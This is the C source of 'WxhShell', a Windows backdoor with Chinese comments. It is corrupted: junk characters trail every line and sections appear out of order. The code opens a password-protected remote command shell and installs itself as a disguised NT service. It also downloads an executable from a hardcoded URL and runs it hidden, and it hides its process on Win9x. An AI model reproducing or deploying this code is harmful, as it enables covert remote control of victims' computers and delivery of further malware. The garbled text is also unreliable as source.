ULONG UniqueProcessId; 7lA_*t@y
ULONG InheritedFromUniqueProcessId; =F Y2O`%a
} PROCESS_BASIC_INFORMATION; pq\N2d
ASrRMH[
PROCNTQSIP NtQueryInformationProcess; qJf\,7mi
h{H*k#>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -'L~Y~'.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Vo[mB
H3`.Y$z
HANDLE hProcess; [)dIt@Y&j
PROCESS_BASIC_INFORMATION pbi; ?E(X>tH
!f&hVLs0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `u7^r^>A
if(NULL == hInst ) return 0; RHpjJZUV
R*FDg;t4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C"mWO Y2]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lN8l71N^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1
?Zw
>dJ~
if (!NtQueryInformationProcess) return 0; $+ N~Fa
`W" ;4A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O9o ]4;
if(!hProcess) return 0;
UBj&T^j
#d*gWwnx"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b62B|0i
q,%Fvcmx+e
CloseHandle(hProcess); /3tErc'
Iu~<Y(8^q#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dFhyT.Y?
if(hProcess==NULL) return 0; m[iQ7/
md?
cvGDE
HMODULE hMod; #qR 6TM&;
char procName[255]; =J]EVD
unsigned long cbNeeded; *}';q`u}
z*q+5p@~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C2\WvE%!
2/tx5Nc
CloseHandle(hProcess); osdoL
CY{!BV'
if(strstr(procName,"services")) return 1; // 以服务启动 8O(L;&h
tLN^k;w
return 0; // 注册表启动 3 =c#LUA`
} ;m>/tD%
c3ru4o*K
// 主模块 :g'
'GqGZ
int StartWxhshell(LPSTR lpCmdLine) zxIP-QaA
{ Y*p<\{,oC
SOCKET wsl; U6*[}Ww
BOOL val=TRUE; ' (XB|5
int port=0; *]h"J]
struct sockaddr_in door; `-{? !
:dRC$?f4
if(wscfg.ws_autoins) Install(); `Mbs6AJ
($/l_F
port=atoi(lpCmdLine); sQ^t8Y9
s :BW}PM
if(port<=0) port=wscfg.ws_port; %G,7Ul1f
:) -`
WSADATA data; QG~6mvD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j}s/)}n|
.taP2^2Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G!=(^G@J;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s3y GL
door.sin_family = AF_INET;
Skr0WQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yt,MXm\
door.sin_port = htons(port); ^Go,HiB
W2fcY;HZ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9[&ByEAK
closesocket(wsl); vM!2?8bEFd
return 1; XzX2V">(%
} iWC}\&i
X am8h
if(listen(wsl,2) == INVALID_SOCKET) { `H>&dK|/
closesocket(wsl); p8@8b "
return 1; <uJ
{>~
} }!> \Ja<\
Wxhshell(wsl); =EM<LjO
WSACleanup(); 5@
td0
:t9![y[=|
return 0; t']/2m.&p
%t!r
pyD
} (Fuu V{x|
WAR!#E#J7
// 以NT服务方式启动 $'_Q@ZBq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xgj'um
{ cn/&QA"
DWORD status = 0; ~6Fh,S1?
DWORD specificError = 0xfffffff; 5mpql[v3P
-3~S{)
serviceStatus.dwServiceType = SERVICE_WIN32; He5y;5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LklE,W
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]v),[]Xs
serviceStatus.dwWin32ExitCode = 0; +/eJ#Xw3u8
serviceStatus.dwServiceSpecificExitCode = 0; Y3FFi M[s~
serviceStatus.dwCheckPoint = 0; T}1"
serviceStatus.dwWaitHint = 0; 3`vKEThY)
eq8faC5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e!L5v?
if (hServiceStatusHandle==0) return; #3LZX!
+l/kH9m
status = GetLastError(); LVm']_K(f
if (status!=NO_ERROR) 9xq3>(
{ {jQLr7'
serviceStatus.dwCurrentState = SERVICE_STOPPED; WN%,
serviceStatus.dwCheckPoint = 0; ":qHDL3
serviceStatus.dwWaitHint = 0; <T)0I1S
serviceStatus.dwWin32ExitCode = status; z"\w9 @W
serviceStatus.dwServiceSpecificExitCode = specificError; ^c(r4#}$"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pi |Z\j)
return; ?u:mscb
} HWB\}jcA6u
!jU{ }RCR
serviceStatus.dwCurrentState = SERVICE_RUNNING; "(p /3qFY
serviceStatus.dwCheckPoint = 0; `$FX%p
serviceStatus.dwWaitHint = 0; ^>!&]@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *S}CiwW>/
} )m8Gbkj<
ar,v/l>d4N
// 处理NT服务事件,比如:启动、停止 >R6mI
VOID WINAPI NTServiceHandler(DWORD fdwControl) zA+0jhuG
{ O;V^Fk(
switch(fdwControl) ~xc/Dsb$
{ &[j9Up'
case SERVICE_CONTROL_STOP: ')yYpWO
serviceStatus.dwWin32ExitCode = 0; Vj1V;dHv
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~}d\sQF.
serviceStatus.dwCheckPoint = 0; A-3^~aEgx
serviceStatus.dwWaitHint = 0; v@SHR0
{ .bP8Z=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bx{njo1Mr
} _K{-1ZYsi
return; v?6*n>R
case SERVICE_CONTROL_PAUSE: KaOXqFT=
serviceStatus.dwCurrentState = SERVICE_PAUSED; }Rh%bf7,
break; 'U ZzH$h
case SERVICE_CONTROL_CONTINUE: vL[IVBG^
serviceStatus.dwCurrentState = SERVICE_RUNNING; R2{]R&wtn0
break; Uf7ACv)Dn
case SERVICE_CONTROL_INTERROGATE: 6'e^np
break; YIZu{
}; <A|z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bo<.pK$
} IgwHC0W
!s/qqq:g
// 标准应用程序主函数 Qnt}:M+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nl,iz_2]
{ +$VDV4l
u{\>iQ
// 获取操作系统版本 W)D?8*
OsIsNt=GetOsVer(); B<-("P(q
GetModuleFileName(NULL,ExeFile,MAX_PATH); \4j_K*V
1i.3P$F
// 从命令行安装 }|) N5bGQe
if(strpbrk(lpCmdLine,"iI")) Install(); 4ME$Z>eN
fH_l2b[-3@
// 下载执行文件 ;r6YIS4@
if(wscfg.ws_downexe) { ;~$Q;m1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "x$L2>9
WinExec(wscfg.ws_filenam,SW_HIDE); M[O22wFs
} fJ
_MuAv
R<Mp$K^b
if(!OsIsNt) { {:_*P
TVk
// 如果时win9x,隐藏进程并且设置为注册表启动 BQ[R)o
HideProc(); `W_&^>yl
StartWxhshell(lpCmdLine); 9ei'oZ
} \h s7>5O^K
else -}sMOy`
if(StartFromService()) XY9%aT*
// 以服务方式启动 $0P16ZlPC
StartServiceCtrlDispatcher(DispatchTable); D$H&^,?N
else ''q;yKpaz
// 普通方式启动 >Je$WE3
StartWxhshell(lpCmdLine); )G, S7A
kCz2uG)l
return 0; ;=^J_2ls
} 83_mR*tGNp
\8\TTkVSq
3*j1v:x`
CH!\uK22
=========================================== nm%qm
m1]/8{EC7
o%z^@Cq
RL]$"
Xg1TX_3Ml
a_[+id
" 4Wa$>vz
l :u1P
#include <stdio.h> "5FP$oR
#include <string.h> S5F5Tr;TN
#include <windows.h> {2 T:4i5
#include <winsock2.h> F=*t]X[z}
#include <winsvc.h> ,\3Cq2h
#include <urlmon.h> Z[Iej:o5
HfP<hQmN'
#pragma comment (lib, "Ws2_32.lib") l?m 3*
#pragma comment (lib, "urlmon.lib") <_*5BO
5&L*'kV@
#define MAX_USER 100 // 最大客户端连接数 'x?|tKzd
#define BUF_SOCK 200 // sock buffer 8dt=@pwx&
#define KEY_BUFF 255 // 输入 buffer mRyf+O[
+jq@!P"}d
#define REBOOT 0 // 重启 %G6x \[,
#define SHUTDOWN 1 // 关机 l& sEdEA
AA ~7"2e
#define DEF_PORT 5000 // 监听端口 vlDA/( &
OtQ]\:p7
#define REG_LEN 16 // 注册表键长度 l<S3<'&
#define SVC_LEN 80 // NT服务名长度 ]{{%d4
.}+3A~
// 从dll定义API MZA%ET,l,<
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y:Lkh>S1Q
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *>W6,F7
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^c.pvC"4j
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rP"Y.;s
y/_=
// wxhshell配置信息 }7{(o-
struct WSCFG { ##F$8d)q
int ws_port; // 监听端口 mAIl)mq|g
char ws_passstr[REG_LEN]; // 口令 2Z<S^9O9
int ws_autoins; // 安装标记, 1=yes 0=no S7cD}yx*[
char ws_regname[REG_LEN]; // 注册表键名 i88`W&tI{
char ws_svcname[REG_LEN]; // 服务名 A>S7Ap4z>
char ws_svcdisp[SVC_LEN]; // 服务显示名 7oUo [
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rw[!Jq
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8(q8}s$>
int ws_downexe; // 下载执行标记, 1=yes 0=no 48J{Y3F
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oo(xYy
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NL-PQ%lUA
"la0@/n
}; :*|So5fs
6fBA#Kb
// default Wxhshell configuration VTDnh*\5
struct WSCFG wscfg={DEF_PORT, 3?h!nVI+2J
"xuhuanlingzhe", g3%x"SlIU
1, TI"Ki$jC
"Wxhshell", {LqYb:/C5U
"Wxhshell", tId,Q>zH
"WxhShell Service", lq`7$7-4
"Wrsky Windows CmdShell Service", @V Tw>=94
"Please Input Your Password: ", Vz!{nL0Q(
1, "~6&rt
"http://www.wrsky.com/wxhshell.exe", lSd tw b
"Wxhshell.exe" j 7O!uUQQ
}; fffWvf
9M|#X1r{%{
// 消息定义模块 VRY@}>W'
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wu{%gtx/;^
char *msg_ws_prompt="\n\r? for help\n\r#>"; -H_#et3&i